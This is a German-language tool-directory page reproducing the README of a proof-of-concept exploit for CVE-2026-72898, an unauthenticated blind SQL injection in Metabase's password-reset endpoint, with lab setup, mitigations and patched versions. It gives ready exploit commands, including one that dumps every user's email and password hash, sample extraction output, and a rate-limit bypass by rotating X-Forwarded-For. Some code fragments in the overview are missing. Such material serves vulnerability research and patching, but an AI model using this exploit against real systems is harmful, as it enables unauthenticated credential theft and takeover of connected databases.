Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/eqstlab/cve-2026-72898
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsRed Teaming
GitHubeqstlab/cve-2026-72898

CVE-2026-72898

# Unauthentifizierter Blind-SQL-Injection-Exploit für Metabase Nutzt eine Roh-SQL-Injection im Passwort-Reset-Endpunkt aus, um Daten über zeitbasierte Techniken zu extrahieren.

Repository anzeigen
1vor 6h 36mNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-72898 Metabase Passwort-Reset ohne Authentifizierung SQL-Injection

★ CVE-2026-72898 Metabase /api/session/reset_password ohne Authentifizierung blinde SQLi PoC ★

https://github.com/user-attachments/assets/4efe5ae3-2a41-4567-815b-ee3f731a5a59


Übersicht

CVE-2026-72898 ist eine SQL-Injection ohne Authentifizierung in Metabase (CVSS 10.0), erreichbar über den öffentlichen POST /api/session/reset_password-Endpunkt. Der Endpunkt führt den Request-Body mit dem (fehlgeschlagenen) Authentifizierungsergebnis zusammen — (merge request (authenticate ...)) — sodass ein vom Angreifer bereitgestelltes user-id-Feld unverändert überlebt und die Anwendungsdatenbank-Benutzersuche t2/select-one :model/User :id user-id erreicht. Metabase erstellt SQL mit , dessen -Map als kompiliert wird (ohne Parameterbindung). Das Senden von als injiziert daher beliebiges SQL in die Anwendungsdatenbank. Der Endpunkt gibt immer zurück, daher ist die Injection ; Daten werden mit wiederhergestellt (die produktionsübliche Postgres-Anwendungsdatenbank). Eine erfolgreiche Ausnutzung liefert Metabase-Admin-Daten, gespeicherte Verbindungsdaten für jede angebundene Datenquelle und vollständigen Zugriff auf diese Datenbanken.

ohne Integer-Validierung
HoneySQL
{:raw "..."}
rohes SQL-Fragment
user-id
{"raw":"<SQL>"}
400
blind
zeitbasiert
pg_sleep

Betroffene Versionen

KategorieVersion
VerwundbarMetabase (OSS 0.x / EE 1.x) v58.0 – v58.23, v59.0 – v59.20, v60.0 – v60.16, v61.0 – v61.10, v62.0 – v62.8, v63.0 – v63.4
Behobenv58.24 / v59.21 / v60.17 / v61.11 / v62.9 / v63.5 oder neuer

Auswirkungen

  • Beliebige SQL-Ausführung ohne Authentifizierung in der Metabase-Anwendungsdatenbank
  • Admin-Übernahme und Diebstahl gespeicherter Verbindungsdaten für jede angebundene Datenquelle
  • Zugriff auf verbundene Data Warehouses / Produktionsdatenbanken (Datendiebstahl)
  • Der Fix fügt eine pos-int?-Prüfung hinzu, sodass eine nicht-ganzzahlige user-id vor der Abfrage abgelehnt wird

Umgebung

Erstellen und starten Sie die verwundbare Metabase-Instanz. Sie verwendet eine Postgres-Anwendungsdatenbank (erforderlich — die zeitbasierte Technik benötigt pg_sleep, das H2 nicht besitzt) und schließt die Ersteinrichtung automatisch ab, sodass sie zu einer Login-Seite startet. Der Start dauert etwa 40–60 Sekunden.

root@kitploit:~
docker build -t cve-2026-72898 .
docker run -d --name cve-2026-72898 --shm-size 256m -p 3000:3000 cve-2026-72898
VoraussetzungZustand in dieser Laborumgebung
Metabase v58 – v63.4v0.62.1
Postgres-Anwendungsdatenbank (ermöglicht pg_sleep)im Image enthalten
/api/session/reset_password ohne Authentifizierung erreichbarfreigegeben
Pro-IP-Reset-Drosselung (umgangen durch Rotation von X-Forwarded-For)MB_SOURCE_ADDRESS_HEADER=X-Forwarded-For

PoC

Der Exploit metabase_exploit.py liest jeden Wert, auf den Sie ihn ausrichten, ohne Anmeldedaten, mithilfe der zeitbasierten blinden Primitive. Er sendet pro Anfrage eine neue zufällige X-Forwarded-For-Adresse, um die Pro-IP-Ratenbegrenzung zu umgehen (wie es die Angriffe in freier Wildbahn taten). Wählen Sie das Ziel mit --extract "<SQL>".

root@kitploit:~
# Standard: Admin-E-Mail extrahieren
python3 metabase_exploit.py 172.17.0.2:3000

# Beliebiges extrahieren (beliebiger SQL-Skalarausdruck)
python3 metabase_exploit.py 172.17.0.2:3000 --extract "version()"
python3 metabase_exploit.py 172.17.0.2:3000 --extract "(SELECT string_agg(email||':'||password, ',') FROM core_user)"
root@kitploit:~
[*] Ziel  http://172.17.0.2:3000/api/session/reset_password
[*] extrahiere (SELECT email FROM core_user ORDER BY id LIMIT 1)
[*] Länge = 15; extrahiere ...
    [  1] a
    [  2] ad
    ...
    [ 15] [email protected]

[+] EXTRAHIERT: [email protected]

Optionen:

  • --check — nur bestätigen, dass die Injection ausnutzbar ist (zeigt den pg_sleep-Zeitunterschied)
  • --extract "<SQL>" — beliebiger SQL-Skalarausdruck (wird automatisch in Text umgewandelt)
  • --sleep 0.4 — Verzögerung pro TRUE-Bit (bei langsamem/Remote-Ziel erhöhen)

Gegenmaßnahmen

  • Metabase auf v58.24 / v59.21 / v60.17 / v61.11 / v62.9 / v63.5 oder neuer aktualisieren
  • Falls kein sofortiges Update möglich: POST /api/session/reset_password an einem Proxy/WAF blockieren
  • Nach dem Patchen: alle Sitzungen invalidieren (core_session), Admin-Konten und API-Schlüssel überprüfen und die Verbindungsdaten jeder angebundenen Datenquelle rotieren (davon ausgehen, dass sie offengelegt wurden, wenn der Endpunkt über das Internet erreichbar war)

Analyse

  • KR:
  • EN:
Tool herunterladen